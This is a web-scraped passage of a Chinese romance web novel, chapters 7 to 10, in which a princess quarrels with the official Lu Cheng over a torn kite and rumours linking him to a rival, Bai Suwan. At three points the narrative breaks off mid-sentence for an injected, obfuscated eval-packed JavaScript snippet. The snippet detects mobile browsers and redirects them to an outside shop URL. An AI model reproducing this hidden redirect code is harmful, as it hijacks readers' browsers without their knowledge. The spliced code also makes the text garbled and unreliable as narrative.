《郡主她幡然醒悟了》 7. 第 7 章 “郡主,咱们放……”哪只。 话未尽,箬竹眼看着自家郡主抓着手里的纸鸢,怒气冲冲地朝某个方向而去。 视线转过去,恰好瞧见了陆埕与他身前的少女站在一处,箬竹心里一惊,忙跟了上去。 …… 陆埕长睫微敛,右手拇指与食指轻捻,心不在焉地听着面前少女寒暄。 春风拂面,有柳叶轻吻侧脸。 他启唇,“白姑娘,陆某……” “陆埕!” 环佩相撞的清脆声散在风中,少女宛如一朵雍容华贵的牡丹,被风送至他身旁。 陆埕稍有怔愣,“郡主怎么在此?” 萧婧华眼里仿佛淬了火,凤眸亮得惊人,她指着那名少女,怒不可遏,“这就是你所谓的公事?” 少女回首,面带讶异。 柳叶眉,含情目,弱质纤纤,我见犹怜。白衣如雪,似雨中梨花,清丽婉约。 生得倒是不错。 萧婧华冷声,“你是哪家的?” 少女无措地转向陆埕,杏眼盈波,楚楚可怜。 萧婧华气极了,“当着我的面还敢眉目传情,你当本郡主是死的吗?!” “郡主慎言。”陆埕沉声。 萧婧华瞪着他,眼里隐有水光。 他无奈叹气,“她是臣之前提过的,一道上京的那名姑娘。” 陆埕转向少女,“这位是琅华郡主。” 少女对他柔柔一笑,福身见礼,嗓音低柔,尾音似有一把钩子,勾得人缠绵悱恻,“白氏素婉,见过郡主。” 萧婧华语气生硬,“起吧。” 她不再给予白素婉眼神,余怒未消地质问陆埕,“不是说今日公事繁忙,又怎么会出现在这儿?” 陆埕道:“臣正是在处理公务。” 萧婧华还想再说,陡然忆起父王说陆埕在查案,便闭上了嘴,指着白素婉道:“那她呢。” 白素婉柔柔开口,“民女头一回上京,听闻此处风景甚佳,便央着表姑前来,不曾想遇见了陆大人。一时激动,便拦着陆大人多说了会儿话。” 她眼里带着歉疚,“若是耽误了陆大人的正事,那便是素婉的罪过了。” 陆埕只道:“无碍。” 萧婧华冷冷看着眼前一幕。 虽然白素婉并非表露出喜悦爱慕的表情,但直觉告诉她,她心悦陆埕。 一时之间,萧婧华心里很不舒服,甚至觉得陆埕看向白素婉的目光,比平时要温和几分。 毫无凭据,令她心浮气躁。 萧婧华行至陆埕身旁,“你要做什么,我能帮上忙吗?” “郡主,民女初到京城,有许多事不……” 温柔的声音此时仿佛蜜蜂在耳边飞,嗡嗡嗡的烦人得紧,萧婧华不耐道:“闭嘴,有你什么事?” 白素婉仿佛被吓到一般,似是踩到石子,脚下踉跄。白皙小脸上浮现惊慌,失措地伸手想抓住什么。 “撕拉——” 裂帛声与少女的惊呼声一同响起,白素婉摔倒在地,眼里冒出泪花,疼得声音颤抖,“疼……” 萧婧华愣愣低头。 她费尽心神亲手做的纸鸢,此时从中裂开,一分为二,一半在她手中,另一半被白素婉抓在手里。 “白姑娘,可有大碍?”陆埕的嗓音依旧冷淡。 白素婉仰头,泪水顺着脸颊滑落,哭得梨花带雨,好不可怜,“好疼。” 陆埕刚往前迈一步,落后的箬竹小跑而至。尚未弄清情形,身体已动,将白素婉搀扶起来。 “这位姑娘,你没事吧?” 白素婉暗暗咬牙,小声哽咽,“我没事,多谢这位姑娘。” 少女姣好的面容柔弱似雨中残花,却又坚强地忍着痛。 有个婢女不知从何处跑了出来,揽过白素婉,目光上上下下地来回扫动,“姑娘可有受伤?” 白素婉含泪摇头,“兰芳,我没事。” 兰芳拉起白素婉的手,望着她掌心里的血痕,心疼地气恼道:“都渗血了,还不疼。奴婢带你去找大夫。” “等等。”萧婧华瞥了眼白素婉掌心擦痕,摘下腰间钱袋子交给兰芳,“拿去看大夫。” 白素婉刚要道谢,只见萧婧华冷着脸道:“你把我的纸鸢弄坏了。” 语气平淡,只是在陈述事实,却给人风雨欲来之感。 白素婉低头,瞧着手里捏着的半个纸鸢。 兰芳气极了,“我家姑娘又不是故意的,再者,我方才看得清清楚楚,如果不是因为你,我家姑娘怎么会摔倒,又怎么会把你的纸鸢弄坏?” “兰芳!”白素婉低声呵斥,“不可对郡主无礼。” 郡主? 兰芳面上闪过害怕,却依旧挺着胸膛,无畏地与萧婧华对视。 萧婧华又气又委屈,“这么说,这事还赖我了?谁知道你家姑娘胆子怎么这么小,说话声稍微大点都能吓得摔了。” “郡主,此事是民女的不是。”白素婉嘶嘶地吸着气,红着眼道:“那纸鸢,民女会赔您的。” 萧婧华气恼,“你怎么赔,你知道这纸鸢有多……”珍贵二字尚未出口,陆埕遽然将她打断,“不过一个纸鸢,白姑娘无心之失,郡主何必抓着不放。” “我抓着不放?” 所有的愤怒恼意全部化为了委屈,萧婧华紧紧盯着陆埕,“你知不知道那纸鸢……” “王府的物件自是珍贵,哪怕一个纸鸢,亦是白金难求。”陆埕撩起眼皮,“但那不过是死物,难不成还比人高贵?” 是我亲手做的。 萧婧华微微张唇,这几个字堵在喉咙口,如何也吐不出。 陆埕含霜带雪的脸上是一如既往的清冷,“此处人多眼杂,还望郡主莫再追究,以免落下跋扈之名。” 萧婧华捏着纸鸢的手发紧。 她的想法很单纯,只是想亲手做两只纸鸢,和陆埕一起将它们放飞,这几日风大,它们或许会纠缠在一处,飞向不知名的远方。可能是遍布山花的峰谷,可能是碧波荡漾的湖面,也可能是葱郁浓密的树冠。 但它们始终会在一处,就像她和陆埕。 这两只纸鸢寄予了她对陆埕的情感,在她心里千金不换。 即便是飞走不见踪影,也比尚未放飞便残破成两半要好。 可陆埕却说,它是死物。 在这瞬间,委屈的泪水几乎夺眶而出,萧婧华鼻头泛酸。 抢过白素婉手里的半边纸鸢,她咬牙道:“也对,不过是个纸鸢而已。” 话落,萧婧华提步就走。 有道目光一直追随着自己,她挺着肩背,嘴一憋没憋住,眼泪唰一下落下。 “郡主!” 箬竹箬兰在身后追赶,萧婧华抬高纸鸢,不愿让别人瞧见自己狼狈的模样,快步冲进了马车。 车门落下的刹那,她抱着纸鸢坐下,眼泪如奔流不息的溪水,瞬间将衣领打湿。 “郡主。” 车门开合,箬竹箬兰上来,“您怎么不告诉陆大人,纸鸢是您亲手做的?” “告诉他有什么用!” 萧婧华哭着恶狠狠道:“等他说‘郡主做的纸鸢,难不成要比别人做的高贵吗?’” 箬竹箬兰相对而视,无言以对。 半晌,箬兰谨慎道:“那这纸鸢,郡主还放吗?” “放什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158148|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放,不放了。” 哭着哭着,萧婧华腹中一阵咕噜响。 今早念着见陆埕,早膳根本没用多少,这会儿早饿了。 取出帕子,她一点一点擦拭着面上泪水,“糕点呢?” 箬兰忙将食盒放在马车里的小几上,将盖子打开,“还热乎着呢。” 萧婧华捻起一块,放在唇边咬了一口。 一块糕点下肚,饥饿感稍有减缓,她下巴轻点,“你们也吃。” 箬兰箬竹只好拿了一块。 “驾车,回府。” 萧婧华的声音方落,马儿低鸣,车夫挥斥马鞭,马车徐徐而动。 吩咐箬兰给车夫送两块糕点,萧婧华靠在软枕上发呆,神色含郁,眼眶仍带着红。 车窗外的喧闹声换回了她的神志。 萧婧华将车窗半开,含水凤眸顺着卖糖人、卖烧饼的小贩,落在一衣衫褴褛的乞丐身上。 那乞丐衣上带着补丁,蓬头垢面,看不太清是何模样。他双手抱膝,面前搁了一个破陶碗,每每有人扔下一文钱,便口头跪谢。 “停下。”萧婧华看得不落忍,“箬兰,把剩下的糕点,连带这食盒,一并给他。” 箬兰顺着郡主的视线看过去,二话不说拎着食盒下了马车。 那乞丐得了吃食,朝着萧婧华的方向磕了两个头。 等箬兰回来,马车继续前行,萧婧华关了车窗。 哼,那盒糕点,她就是给乞丐吃,也不会给陆埕了。 那食盒是用上好的红木做的,那乞丐若是当了或者卖了,应当能摆脱窘迫困境。 萧婧华心情转好,从暗格里拿出一本游记,悠哉悠哉地看着。 两刻钟后,车夫“吁——”着将马拉停,萧婧华正疑惑,熟悉的声音从外头传出来。 “郡主。” 萧婧华拉下脸。 她不动,箬兰箬竹自然也不敢动。 隔了没多久,那声音讨好地又唤了一声,“郡主。” 萧婧华没好气地开了车门,瞪着外头的孟年,“你来作甚。” 孟年脸上挂着殷勤的笑,扬了扬手里的物什,“来给郡主送纸鸢。” 萧婧华斜睨着他。 面容清秀的男子手中拿着一只纸鸢,花纹明丽漂亮,和她坏的那只很是相似。 气消了不少,但面上仍是淡淡的。 孟年道:“郡主,我家大人这段时日忙着查案,说话冲了些,您可千万别放在心上。” “瞧,知晓您生气了,这不是巴巴的让我给您送纸鸢来了?” 萧婧华没忍住露了笑。 孟年嘿嘿的笑,“不生气了?” 萧婧华哼了一声。 将纸鸢递给箬竹,孟年叹气,“纸鸢送到了,我该回去了,好多事堆着呢。” 萧婧华犹豫着问:“他到底在查什么?” 陆埕一个大理寺八竿子打不着的工部郎中,皇伯父到底让他查什么呢。 “不可说,不可说。”孟年一溜烟跑了,“郡主,我先行一步。” 萧婧华瞪了他一眼,望着箬竹怀里的纸鸢,唇角不自觉上扬。 她心情大好,“回府。” 马车快到恭亲王府时,又被人拦了下来。 萧婧华正开心呢,倒是没生气,慢条斯理地开了车窗。 看清拦马车之人,眉心拧起。 白素婉亭亭玉立,柳眉似蹙微蹙,纤细柔美。 她柔声道:“弄坏了郡主的纸鸢,素婉心下难安,特意买了一只赔与郡主。” 站在她身后的兰芳将纸鸢送上。 很眼熟。 与孟年送来那只,一模一样。 8. 第 8 章 萧婧华盯着那纸鸢,难以描述的情感占据了整片脑海,酸涩难言。 她并不是个善于掩藏情绪之人,丝丝怒意从眼角泄了出来,以至于她看向白素婉的目光含着冷色与逼咄。 “这纸鸢从何而来。” 白素婉苍白的脸上浮现一抹薄红,缠绵羞涩自眸中泄出,她抬头飞快瞧了萧婧华一眼,垂下眼见,轻声道:“是素婉方才在集市上买的。” 萧婧华又问:“为何选了这样一个花样?” 白素婉头埋得更低,乌发堆砌下,是一张宛如落入梨花丛中的芙蓉面,她小声羞怯道:“是陆……有人向素婉荐了这花样,我瞧着很是好看,便买下了。” 这意思是,在她走后,陆埕和这女人逛了街,甚至还一同商量着给她买纸鸢? 一想到陆埕和别的女人站在卖纸鸢的摊子前亲密交谈,萧婧华心里跟针扎似的疼。 深吸一口气,徐徐吐出,再吸一口,如此反复,终于将满腔怒火压了下去。 “不用了,劳烦白姑娘白跑一趟。”萧婧华高傲地扬起下巴,凤眸带着冷光,“一个纸鸢而已,恭亲王府有的是。” “白姑娘还是回去好好养伤吧。” “驾车,回府。” 车门在白素婉眼前阖上,兰芳放下举着纸鸢的手,酸软感让她皱起眉头,手甩了两下,抱怨道:“姑娘,她也太嚣张了吧。” 白素婉笑了,音如山间涓流,轻柔细缓,“毕竟是恭亲王之女,皇室郡主,自然有嚣张的倚仗。” 她望着马车离开的方向,声若浮毛,“听闻,就连陛下也极为喜爱她……” 这样的身份,想必失去一个男人,也能找到更好的吧。 兰芳并未听清,疑惑发问:“姑娘方才说什么?” “没什么。”白素婉回神,摇头轻笑。 兰芳也不多问,姑娘自有成算,想告诉她的时候自然会说。但有一事,她着实想不通。 “姑娘,咱们为何要从陆府隔壁搬出来?” 近水楼台,才能先得月,这一搬走,不是失了良机? “那太刻意了。”白素婉道:“有时候离得近了,反而不美。听说郡主三天两头去寻陆大人,你可瞧见陆大人对她有何特殊之处?” 兰芳恍然大悟,喜道:“还是姑娘聪明。” 白素婉柔柔一笑,“陆大人身边的孟年今日寻的那人,你可记清楚了?” “记得可清楚了。”兰芳得意道。 “那便好。” 她这婢女记性极好,无论什么,只看一眼便能记下,称得上是过目不忘。也因她有此能力,自幼便被她母亲送至她身边。 白素婉提裙迈步,“回去之后,你细细说清那人的长相,我将他画下。” 这些日子,她已经将陆埕打听清楚了。享过富贵,在最繁荣昌盛时跌落尘埃,走过低谷,一心想往上爬的男人,怎么会有闲心去哄一个娇生惯养的金枝玉叶呢? 她要让陆埕知道,同样从泥泞中爬出来的白素婉,才是最配站在他身边,与他同行的女人。 …… “哒哒”的马蹄声在恭亲王府大门前止住。 下车之前,箬兰弱声问:“郡主,这些纸鸢……”怎么办? 萧婧华现在最听不得“纸鸢”二字,冷冷开口,“都扔了。” 说完不管箬竹箬兰反应,径直下了马车。 她动作快,箬竹只来得及说出“郡主慢……”三个字,下一瞬便听到一声痛呼。 二人顾不上什么纸鸢,当即下了马车。 萧婧华跌坐车前,一手捂着右脚脚踝,疼得眼泪直掉。 “郡主!” 箬竹箬兰与车夫慌了神,门口侍卫也见着自己小主子出了意外,着急忙慌奔了过来。 “快拿帖子去寻太医。” 箬竹和箬兰合力将萧婧华扶起,后者哭着喊疼。 大门口响起阵阵脚步声,身着宝蓝色斜襟窄袖长袍的人从里头走出。 “吵什么呢。” 见萧婧华摔倒在地,他一个不慎,险些摔在门槛上。 稳住身形后,急切地走到萧婧华身边,嗓音尖细,不似寻常男子的浑厚。 “哎唷我的小郡主诶,这是怎么了。” 萧婧华扁唇,所有委屈一并迸发,眼泪扑簌簌掉落,呜呜地小声哭着,“公公,我脚疼。” 汤正德心疼坏了,吩咐小厮去寻太医,蹲下身子,将萧婧华背好,两条腿迈得飞快。 趴在熟悉的背上,萧婧华再不掩饰委屈,哭得更大声了。 汤正德听得心里难受,一边走一边哄,“没事,太医很快就来了,小郡主别怕。” 萧婧华将眼泪擦在他背上,闷闷地“嗯”了声。 汤正德是自小跟着恭亲王的内侍,看着她长大的。 原本还有一个邱嬷嬷,是从前跟在母妃身边的老人。去年萧婧华给了邱嬷嬷恩典,放了身契,让她和丈夫儿子回乡去了。 心里难过时,萧婧华就希望有人能哄着宠着她。在汤正德的安抚下,她慢慢止了哭声。 汤正德一口气把小郡主背到她的春栖院,等她坐在榻上,紧随其后的箬竹轻轻将萧婧华的裙子掀开,露出肿起的脚踝。 “怎么肿成这样了。”汤正德眼里露出心疼,转头呵斥道:“还不快去拿冰来。” 箬兰迅速离开。 她动作快,没多久便拿了冰回来,用巾子裹住,小心地揉着萧婧华脚踝。 萧婧华嘶嘶的小声抽气,止住的泪没忍住又落了下来。 汤正德急得不住道:“轻点,轻点。” 箬兰忙将动作放轻。 “太医来了。” 一个小丫鬟领着胡子花白的太医进来,箬兰停下动作,避让到一旁。 “胡太医。”汤正德与来人道:“快给小郡主悄悄。” 胡太医是恭亲王府的常客了,闻言点了点头,弯身查看萧婧华的伤势。 “郡主,得罪了。” 他两手捏着萧婧华脚踝,用力一扭。 萧婧华只觉一阵剧烈的疼痛从伤处蔓延开来,泪珠从眼角滑落,啪嗒落在她手背上。 小郡主娇气,最怕疼,眼圈泛红,哭得好不可怜。 汤正德忙往她嘴里塞了块蜜饯,轻声哄着,“就这一下,很快就不疼了。” 牙齿轻轻一咬,甜味在口腔里蔓延开,萧婧华将蜜饯吃下,长睫上还挂着泪,委委屈屈点头。 “没什么大碍。”胡太医道:“敷几日药膏便好,这些时日注意些,需静养,少走动。” 汤正德认真记下。 胡太医朝身后的药童看去,后者意会,当即打开药箱。 从里头拿出白瓷瓶,胡太医将之交给箬竹,叮嘱道:“一日两次,不可碰水。” 箬竹应下。 汤正德送胡太医离府,萧婧华哭累了,又饿又困。 打了个哈欠问道:“厨房现在可有吃的?我饿了。” 箬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158149|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹打开白瓷瓶上的木塞,用竹片挖了一团,小心地涂抹在萧婧华脚踝上。 她动作轻,萧婧华只感觉到一股清凉,便没动弹。 箬兰道:“奴婢去瞧一眼。” 萧婧华靠在软枕上,她哭得眼睛疼,将眼皮阖上,愈渐迷糊。 即将坠入梦乡前,箬兰拎着食盒回来。 将小几安置在榻上,一边取出食盒里的东西,一边道:“时间仓促,方嬷嬷便只煮了碗面,郡主先垫垫。” 那面以鸡汤为底,面条又白又细,上头隔着牛肉、火腿、荷包蛋与几根青菜,鸡汤的香味霸道,没一会儿功夫便占满了萧婧华鼻腔。 腹中早已唱起了空城计,萧婧华喉咙吞咽几下,捏着筷子,挑起面条往嘴边送。 一碗面下肚,箬竹打来热水,用帕子沾湿给她擦脸,取来鸡蛋,轻轻在她眼周揉按。 收拾妥当后,萧婧华禁不住困意,躺在榻上睡去了。 …… 晚间恭亲王回府,听闻萧婧华在大门口摔了一跤,气得罚了当时在场的下人一月月俸。又来春栖院陪着萧婧华用完晚膳,亲眼见到她无甚大碍,这才放心回了正院。 隔日,听闻她受伤,东宫太监总管刘平亲自送来太子萧长瑾的礼,亲眼见过萧婧华后才离去。 太子已及冠,却迟迟未成婚,京中各家各府的适婚贵女紧盯太子妃之位,听闻此事后纷纷上门探望。 两日的功夫,萧婧华便接待了十多位贵女,惹得她烦不胜烦,直接闭门谢客。 那日因受伤,光顾着哭了,没再多想陆埕和白素婉之事,如今空了下来,越想心里越难受。 她趴在枕头上,委屈道:“我都受伤了,陆埕怎么不来看我。” 箬竹做着针线,柔声哄道:“陆大人公事繁忙,应当不知郡主受伤一事。要不,奴婢去陆府说一声?” “不要。”萧婧华干脆利落拒绝,把脸埋在柔软枕间,瓮声瓮气地说:“我还在生他的气。” 她抬脸,命令道:“你们不准去找他。” 箬竹无奈点头,在收拾衣物的箬兰忙里偷闲“诶”了一声。 话虽这么说,但萧婧华内心还是期待陆埕能来的。 可惜希望落空。 养伤期间无聊,萧婧华心情郁结,做什么都提不起兴致。 箬兰见了揪心,下意识道:“若是江姑娘在就好了。” 以萧婧华的身份,身边不缺奉承的姑娘,但极少能被她放在心上,越侯府上的大姑娘江妍卿便是其中之一。 江妍卿虽大她几岁,但两人自幼相识,关系融洽。若是那事不曾发生,她应当是她嫂子。 可惜造化弄人。 昀哥哥去世多年,江妍卿也嫁去了南方,孩子都三岁了。 想起此事,萧婧华越发难过。 养伤这些时日,萧婧华简直痛不欲生,伤好后,得了恭亲王允许,她迫不及待带着箬竹出了门。 再在家里待下去,她迟早憋出病来。 离了恭亲王府,萧婧华直奔京城有名的首饰铺子灵翠阁。 心情不虞要花钱,这是她的习惯。 上了二楼,萧婧华目光挑剔地从琳琅满目的首饰中划过。 她眼光高,工艺一般的根本不入她眼。目光睃巡,落在一顶珍珠花冠上。 萧婧华眼睛微亮,莹润指尖即将触上冠上珍珠,少女交谈声隔着屏风清晰送入耳中。 “听说陆大人昨日从烟花之地带出一名女子。” 9. 第 9 章 “陆大人?哪位陆大人?” 最先出声的那名少女道:“除了工部那位,还能有谁?” “可他不是与琅华郡主……”少女放低音量。 “郡主一厢情愿呗。”女声兴致勃勃,“我可都听说了,昨日有名女子被人强行掳去了百花楼,正好被陆大人撞见,那女子口中唤着陆大人的名字,哭得梨花带雨,陆大人当即闯了进去,将她救下。” “听说那女子被人下了药,浑身虚软,还是陆大人抱出门的呢。” “那女子是何人?”少女好奇问:“陆大人性子冷,除了郡主,我还从未见过他与哪名女子这般亲近。” “好像是陆大人回京时带回来的,姓白。”女声难掩艳羡,“他二人的事都在城内传遍了,想必陆府很快便要办喜事了吧。” 转而酸溜溜道:“白姑娘命真好,那可是红袍白马游长街,半身风华陆家郎啊。” 少女迟疑,“陆大人应当不会迎娶白姑娘。” “为何?” 少女言简意赅,“有郡主呢。” “郡主怎么了。”女声言之凿凿,“就算是郡主,还能强行坏人姻缘不成?英雄救美的故事多美好……” 交谈声仿佛被无形的屏障挡住,萧婧华恍惚间觉得好似站在寒冰洞中,无数寒气天罗地网般冲她用来,丝丝缕缕,无孔不入,冷得她身子发颤。 出门前她还在想,陆埕公务繁忙,他不来便不来吧,反正她无事,她去看他也可。 可她听到了什么? 陆埕为了白素婉闯青/楼? 伤好的脚踝隐隐作痛,萧婧华身形不稳,险些摔倒。 “郡主!” 箬竹眼疾手快将她扶住。 萧婧华牢牢把住箬竹小臂,仿佛用尽全身力气才能站稳。缓了许久,身体回暖,她动了动发僵的手,撑着箬竹站稳,低声道:“无事。” 一句“郡主”出声,屏风后已然没了声响,那两名少女不知是噤了声还是已离去。 萧婧华也没有心神分给她们。 离开灵翠阁后,她一言不发,箬竹看在眼里,急在心里。 登了车,萧婧华吩咐,“去茶楼。” 箬竹悬在半空的心落了稍许,斟酌着问:“郡主去茶楼作甚。” 萧婧华缄默不语,箬竹还没喘出的那口气又咽了回去。 逸香茶苑乃是京城最大的茶楼,百姓们闲来无事,最爱来此处喝茶听书。 尚未到茶楼,门口已堵了不少百姓,人头攒动,摩肩接踵。 马车无法行进,马夫将车停在原地,两步跳下去。 等了片刻,他敲响车门,“郡主,已安排妥当。” 萧婧华带着箬竹下了马车,边上身着锦衣的男人带着殷勤的笑迎上来,“小的乃逸香茶苑管事,郡主莅临,简直令小店蓬荜生辉……” “带路吧。” 萧婧华扬起下巴,满脸淡然。 那管事并不恼怒,甚至笑意更为热情,带着萧婧华从侧门进了茶楼。 “郡主还请上二楼雅间落座,今日新进一批上好的雨前龙井……” 萧婧华目光左右扫过,停在一楼左边的说书先生身上,她打断管事的话,“今日一行兴趣使然,管事自去忙吧。” 箬竹递上两锭银宝,管事拿在手里,动作隐蔽地掂量两下,顿时眉开眼笑,“那郡主随意,小的就先忙去了。” 萧婧华随意颔首。 说书先生身边围了不少人,端了一小碟瓜子,听得津津有味。 走近一听,巧了,正是她想知道的。 那说书先生端起手边的水,牛饮而尽,一拍醒木,目光炯炯有神,抑扬顿挫道:“要说这陆大人与白姑娘,何其有缘。白姑娘家有恶母,联合其父要将她卖与知县为妾,以谋权势。那知县年纪大得都能做她祖父,白姑娘花容月貌,正值芳龄,岂能愿意?” “我家闺女要是嫁个比我年纪还大的,我做梦都能怄醒。”人群中有人道。 “别打岔,仔细听。” 说书先生抚摸着花白胡子,笑道:“这白姑娘虽是女子,却是个有成算的,大好年华岂能毁在一在坏姻缘上?她带着婢女深夜出逃,被后母察觉,一路追踪。黑漆漆的夜,两个柔弱女子,身后又跟着追兵……” 这说书先生声音不疾不徐,在他的讲述下,眼前仿佛有两个弱女子狼狈地奔跑在黑夜中,追兵大喊大叫地紧随其后,燃烧的火把宛如扭曲怪物,张牙舞爪地要将她们吞入腹中,令人不禁提了一口气。 “然后呢,别卖关子,快说啊。” 说书先生这才笑着开口,“危难之际,陆大人从天而降,救下二人。正巧白姑娘主仆要进京投奔表亲,陆大人便让二人同行。” “陆大人芝兰玉树,更别提还有救命之恩,白姑娘难免心动,但她知晓与陆大人间犹如云泥,只好将一腔爱慕之情藏在心中,不敢表露。” 有妇人叹气,“多好的姑娘啊。” 说书先生接着道:“白姑娘生得好容貌,无意间被京中纨绔觊觎,那纨绔以她婢女为胁,强行将白姑娘拖入百花楼,意图施暴。” 说书先生停在这儿引起了不满,人群骚动,纷纷道:“继续说。” 有人掏出一两银子,拍在说书先生桌案上,财大气粗道:“我有的是钱,赶紧说。” 其余人纷纷效仿,有的扔出碎银子,有的甩铜板,稀里哗啦一阵动听的银钱相碰声。 说书先生收拢桌上钱财,饮了一杯水,笑容可亲,“白姑娘蕙质兰心,陆大人自是心中仰慕。她一个柔弱女子独自谋生,岂能放心?他早早派人守住白姑娘,得知消息,立马赶去救人。” 萧婧华听不下去了,转身离开。 迈出茶楼后,耳边仿佛还有称颂陆埕与白素婉是一对璧人的话语。 她冷着脸,面无表情地登上马车。 箬竹坐在矮凳上,面含气愤,“这些人怎能如此胡言乱语,败坏陆大人名誉?!” “当真是胡言乱语吗?” 萧婧华语气毫无起伏。 箬竹心里咯噔一下,知晓自家郡主是当真了,忙道:“自然,陆大人是何性子,郡主还不清楚?他若是心悦那所谓的白姑娘,那日怎会眼睁睁看着她摔倒?” “是吗?” 箬竹哄着,“您还不信奴婢?” 心里一阵又一阵,仿佛有人拿着锤子敲打的痛减缓不少。可萧婧华还是在意,像有根刺卡在喉咙里,卡得她浑身难受。 “去陆府。” 她高声吩咐。 车夫应声,挥动马鞭,驱使马儿掉头。 小半个时辰后,陆府到了。 守门的瘸腿大爷靠着门在打瞌睡,萧婧华问:“陆埕今日可在府中?” 瘸腿大爷眼睛睁开一条缝,忙与她见礼,叠声道:“在,在呢。” 萧婧华点点头,径直入内。 瘸腿大爷打了个哈欠,继续歪着脑袋昏昏欲睡。 萧婧华来了陆府无数次,整个陆府的规格清晰地印在脑中,她脚步不停地朝书房去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158150|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆府下人不多,陆埕身边常年只跟着一个孟年,剩下的唯有煮饭浆洗的嬷嬷,跟着陆夫人的小丫鬟并守门的瘸腿大爷。 因此这座陆埕高中后,陆夫人才咬牙买下的二进院子对他们来说颇为宽敞,陆埕便辟出一间屋子做书房,平时看书办公用。 她到时书房门大开,孟年往外瞟了一眼,正好瞧见她,惊讶道:“郡主,您怎么来了?” 陆埕坐在书案后,提笔不知在写什么,闻声抬头,眼里亦是诧异。 萧婧华问:“在忙?” 陆埕将笔放入笔洗,将未干的宣纸交给孟年,“你仔细看。” 孟年点头,眼珠子转了一圈,“我去外边。” 话落一溜烟跑了。 陆埕这才看向萧婧华,面色是一如既往的平淡,眉目间宛如带了霜,“有事?” 有事,有事,每次都是这样。 不知从何时起,她一来寻陆埕,他第一句话全是有事。 没事她就不能来找他了吗? 萧婧华心中说不出的烦躁。 她硬生生咽下一口浊气,冷硬道:“听闻,你昨日把那姓白的姑娘从百花楼里救了出来?” “陆埕。”萧婧华哽声,水雾从眼底蔓延开来,“你答应过我,此生绝不入秦楼楚馆。” 他分明答应过她的。 他分明知晓她此生最恨那些倚门卖笑的青/楼女子。 为什么要为了白素婉背弃与她的约定? 难不成他真的如那些传言所说,心中早已有了白素婉? 萧婧华内心一片惶恐,倔强地盯着陆埕,偏要他给自己一个说法。 陆埕头疼,无奈道:“她一个清白姑娘,被人掳进了那种地方,若是我不知晓便罢了,可事情就发生在我眼前,我如何能坐视不理?” “事情就发生在你眼前?”萧婧华不可置信地瞪圆眼,泪水从眼眶中脱落,砸在地板上,“你是自行去的百花楼?” “陆埕,你骗我!” 她流着泪,眼睛却睁得极大,牙关紧咬,身子轻颤。 陆埕觉得烦躁。 他这阵子因清居堰贪污案忙得不可开交,唯一的突破口张骏跟条泥鳅似的,根本抓不住尾巴。昨日跟踪张骏去了百花楼,撞见白素婉险些被他强迫,无奈之下出手,却惹了张骏的眼。 如今案子陷入僵局,他整日想着如何揪出幕后之人,饭没吃几口,晚间囫囵睡了两个时辰又起身梳理案情,现下头痛不已,萧婧华却来无理取闹。 他忍着脑中抽痛,用最后一丝耐心道:“百花楼一行,是为案情,乃公事。” 他言之凿凿,眉目清明,萧婧华勉强信了,“那白素婉呢?你和她的事在京中都传遍了。” “与白姑娘何干?”陆埕微顿,转而一想,应是昨日带她出百花楼时被人瞧见了。但这种事清者自清,便道:“流言虚无缥缈,岂能信?” 他越是遮掩,萧婧华越觉得他心中有鬼,忍不住道:“你是不是喜欢上她了?” 陆埕面色一冷,心中烦躁如开了闸的洪水泄出,语气忍不住带了几分怒,“你今日若是来无理取闹的,现在便可离开。” “大人。”孟年冲了进来,眼睛亮得惊人,喜道:“我找到了。” 陆埕神色微敛,大步朝前,匆匆道:“走。” 两息的功夫,书房只剩萧婧华一人。 他丢下她走了。 一句话也不给她留。 书房空寂无声,干净地板上,水渍清澈无垢。 10. 第 10 章 “郡主。” 箬竹出现在门口,“奴婢方才瞧见陆大人和孟年出府了。” “我知道。” 萧婧华嗓音微哑,抬手抹去眼角泪珠。 “郡主?” 箬竹察觉到了不对。 她与箬兰随萧婧华来过陆府多次,自然也是熟悉的。每次来萧婧华都不喜有人跟着,方才她留在了前院,并不清楚发生了何事。 但总觉得,不是什么好事。 “没事。”萧婧华垂眸擦泪,泄出一两句哽咽,“和陆埕拌了几句嘴。” “陆大人也不知让着您些。”箬竹有些埋怨,她自小跟在萧婧华身边伺候,在她心里,郡主是该被宠着的。 “他才不会让我呢。”萧婧华将泪水拭干,余怒未消,“我们回去。” 离开之前,她泄愤一般将书房的门关上,语调有些阴阳怪气,“他还真是信任我,书房重地,竟就这般留我一人,也不怕我泄露什么机密。” 话里难掩怨气。 “陆大人自是信任您的。”箬竹哄道:“这么多年的情分,您在他心里始终是不同的。” 这话箬竹哄了她无数次,萧婧华也信了许久,眸光微动,蓦地凝住。 